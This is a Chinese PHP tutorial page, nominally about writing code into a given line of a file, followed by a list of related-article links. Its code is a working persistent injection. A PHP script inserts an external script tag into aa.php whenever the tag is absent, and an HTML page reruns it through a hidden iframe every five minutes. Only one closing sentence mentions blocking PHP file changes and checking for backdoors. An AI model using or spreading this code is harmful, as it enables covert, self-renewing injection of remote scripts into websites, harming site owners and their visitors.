php在文件指定行中写入代码的方法


Posted in PHP onMay 23, 2012
<?php 
$file="aa.php" ; 
$code="<script src=http://www.google/ga.js></script>"; 
$f=fopen($file,"r+"); 
$content=fread($f,filesize($file)); 
fclose($f); 
if(!strstr($content,$code)){ 
$arrInsert = insertContent($file, $code, 3); 
unlink($file); 
foreach($arrInsert as $value) 
{ 
file_put_contents($file, $value, FILE_APPEND); 
} 
} 
function insertContent($source, $s, $iLine) { 
$file_handle = fopen($source, "r"); 
$i = 0; 
$arr = array(); 
while (!feof($file_handle)) { 
$line = fgets($file_handle); 
++$i; 
if ($i == $iLine) { 
$arr[] = $line .$s . "\n"; 
}else { 
$arr[] = $line; 
} 
} 
fclose($file_handle); 
return $arr; 
} 
?>

这个文件保存成php后,再用一个小程序隔几分钟指定执行它就可以。像operia浏览器就有这个功能。不过我又加了个html代码来运行它,可以用ie了,打开这个html后扔在哪就可以。
<HTML> 
<HEAD> 
</HEAD> 
<BODY> 
<SCRIPT LANGUAGE="JScript"> 
function singOut() { 
var O = document.createElement("iframe"); 
O.src="http://www.google.com/上边的php文件.php"; 
O.width=100; 
O.height=100; 
document.body.appendChild(O); 
} 
window.setInterval("singOut();",300000); 
</SCRIPT> 
</BODY> 
</HTML>

解决方法:这些代码都会在php中写入代码,我们可以写个规则禁止修改php文件.即可,一般服务器中才可以了,如果是虚拟主机的朋友就需要下载代码,经常查后门来解决了
PHP 相关文章推荐
用PHP4访问Oracle815
Oct 09 PHP
Cannot modify header information错误解决方法
Oct 08 PHP
PHP命名空间(namespace)的动态访问及使用技巧
Aug 18 PHP
PHP callback函数使用方法和注意事项
Jan 23 PHP
Laravel 5.0 发布 新版本特性详解
Feb 10 PHP
Yii框架连接mongodb数据库的代码
Jul 27 PHP
centos+php+coreseek+sphinx+mysql之一coreseek安装篇
Oct 25 PHP
浅谈PHP中关于foreach使用引用变量的坑
Nov 14 PHP
PHP基于堆栈实现的高级计算器功能示例
Sep 15 PHP
php实现微信公众平台发红包功能
Jun 14 PHP
PHP从尾到头打印链表实例讲解
Sep 27 PHP
PHP实现笛卡尔积算法的实例讲解
Dec 22 PHP
php替换超长文本中的特殊字符的函数代码
May 22 #PHP
php提示undefined index的几种解决方法
May 21 #PHP
openflashchart 2.0 简单案例php版
May 21 #PHP
PHP中去掉字符串首尾空格的方法
May 19 #PHP
有关PHP中MVC的开发经验分享
May 17 #PHP
php的array_multisort()使用方法介绍
May 16 #PHP
一个显示某段时间内每个月的方法 返回由这些月份组成的数组
May 16 #PHP
You might like
关于尾递归的使用详解
2013/05/02 PHP
PHP实现格式化文件数据大小显示的方法
2015/01/03 PHP
PHP中的异常处理机制深入讲解
2020/11/10 PHP
input 输入框内的输入事件详细分析
2010/03/17 Javascript
JavaScript中常用的运算符小结
2012/01/18 Javascript
禁止iframe页面的所有js脚本如alert及弹出窗口等
2014/09/03 Javascript
js定义类的几种方法(推荐)
2016/06/08 Javascript
jQuery的ajax和遍历数组json实例代码
2016/08/01 Javascript
Bootstrap table表格简单操作
2017/02/07 Javascript
Node.js常用工具之util模块
2017/03/09 Javascript
jQuery使用eraser.js插件实现擦除、刮刮卡效果的方法【附eraser.js下载】
2017/04/28 jQuery
Angular17之Angular自定义指令详解
2018/01/21 Javascript
详解js的视频和音频采集
2018/08/09 Javascript
JS实现拖拽元素时与另一元素碰撞检测
2020/08/27 Javascript
Python控制多进程与多线程并发数总结
2016/10/26 Python
Python中模块与包有相同名字的处理方法
2017/05/05 Python
python批量查询、汉字去重处理CSV文件
2018/05/31 Python
python类的实例化问题解决
2019/08/31 Python
基于python实现蓝牙通信代码实例
2019/11/19 Python
如何用OpenCV -python3实现视频物体追踪
2019/12/04 Python
Python基于os.environ从windows获取环境变量
2020/06/09 Python
Python 高效编程技巧分享
2020/09/10 Python
Python类的继承super相关原理解析
2020/10/22 Python
css3针对移动端卡顿问题的解决(动画性能优化)
2020/02/14 HTML / CSS
CSS3为背景图设置遮罩并解决遮罩样式继承问题
2020/06/22 HTML / CSS
网络教育自我鉴定
2014/02/04 职场文书
法制宣传教育方案
2014/05/09 职场文书
关于青春的演讲稿三分钟
2014/08/22 职场文书
防火标语大全
2014/10/06 职场文书
防灾减灾宣传标语
2014/10/07 职场文书
销售员工作检讨书(推荐篇)
2014/10/18 职场文书
个人作风建设心得体会
2014/10/22 职场文书
销售督导岗位职责
2015/04/10 职场文书
职工的安全责任书范文!
2019/07/02 职场文书
Golang 语言控制并发 Goroutine的方法
2021/06/30 Golang
CSS控制继承中的height能变为可继承吗
2022/06/10 HTML / CSS